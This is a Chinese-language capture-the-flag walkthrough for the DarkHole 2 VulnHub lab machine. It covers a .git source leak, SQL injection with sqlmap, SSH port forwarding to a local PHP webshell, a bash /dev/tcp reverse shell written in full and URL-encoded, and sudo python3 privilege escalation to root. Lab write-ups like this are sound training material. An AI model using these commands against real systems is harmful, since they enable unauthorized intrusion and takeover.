靶機描述
靶機地址:https://download.vulnhub.com/darkhole/darkhole_2.zip
Description
Difficulty:Hard
This works better with VMware rather than VirtualBox
Hint: Don't waste your time For Brute-Force
資訊收集
主機發現
利用arp-scan -l命令掃描靶機IP
arp-scan -l
開放埠服務資訊獲取
nmap -v -T4 -p- -A -oN nmap.log 192.168.75.170
發現.git
洩露
目錄掃描
dirsearch -u http://192.168.75.170/
gobuster dir -u http://192.168.75.170/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
.git原始碼洩露漏洞
下載.git
wget -r http://192.168.75.170/.git //-r遞迴下載所有檔案
建立一個git儲存庫"webapp",我們可以在其中執行所有git操作
git clone . webapp
檢視login.php,我們看到了登入邏輯,並對輸入引數進行了轉義,防止注入
git log
檢視更新
看到第2次更新時,login.php使用了預設憑證
因此,我們將HEAD切換到該提交,並檢視login.php
找到了使用者名稱和密碼,然後登陸平臺
SQL隱碼攻擊
URL上,我們看到一個GET引數id,當我們改變它的值時,我們也可以觀察到頁面的變化
id=null時,資料為空
sqlmap跑一下
在ssh表裡發現了一個賬號密碼,我們可以拿來連線ssh
SSH登入
許可權提升一般透過檢視sudo許可權,發現具有特殊許可權的檔案,發現秘密檔案,還有一些歷史記錄,定時任務,系統軟體版本漏洞等
這道題這裡採用的是定時任務,輸入命令檢視定時任務
cat /etc/crontab
可以看到執行了一個php伺服器在9999埠上,使用者為losy,我們可以嘗試去看一下原始碼
發現居然是一個一句話木馬,我們可以透過攜帶我們想要執行的命令的cmd引數訪問這個連結就可以以losy的身份執行命令
不過這個連結只能本地訪問,因為我們已經獲取了目標靶機的一個使用者,所以我們可以使用SSH的本地轉發功能(SSH -L)
這個功能是在本地監聽一個埠,但該埠的連線被轉發到遠端主機的特定埠。相當於把遠端埠對映到本地,即“將遠端埠放在本地”
如下例子將監聽本地9999埠,任何訪問9999的客戶端,都相當於遠端訪問example.com的80埠,但是流量是透過remote.server,並且所有流量都被加密
ssh -L 0.0.0.0:9999:example.com:80 user@remote.server
還有一種變體,目標主機與代理主機可以是同一臺主機,即將remote.server服務對映到本地
ssh -L 0.0.0.0:9999:127.0.0.1:6379 user@remote.server
我們使用這個命令將目標靶機的本地9999對映到本地9999埠
ssh -L 9999:127.0.0.1:9999 jehad@192.168.75.170
然後我們在瀏覽器中訪問9999埠,傳入cmd引數
可以看到,使用者為losy,我們可以反彈一個losy的shell
bash -c 'bash -i >& /dev/tcp/192.168.75.150/9000 0>&1'
進行URL編碼後
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.75.150%2F9000%200%3E%261'
利用nc -nvlp 9000
在本地開啟監聽,然後將上面命令作為cmd引數訪問,從而拿到shell,然後對shell進行升級
python3 -c 'import pty;pty.spawn("/bin/bash")'
提權
sudo -l
查詢發現可以使用python3提權
sudo /usr/bin/python3 -c "import os;os.system('/bin/bash')"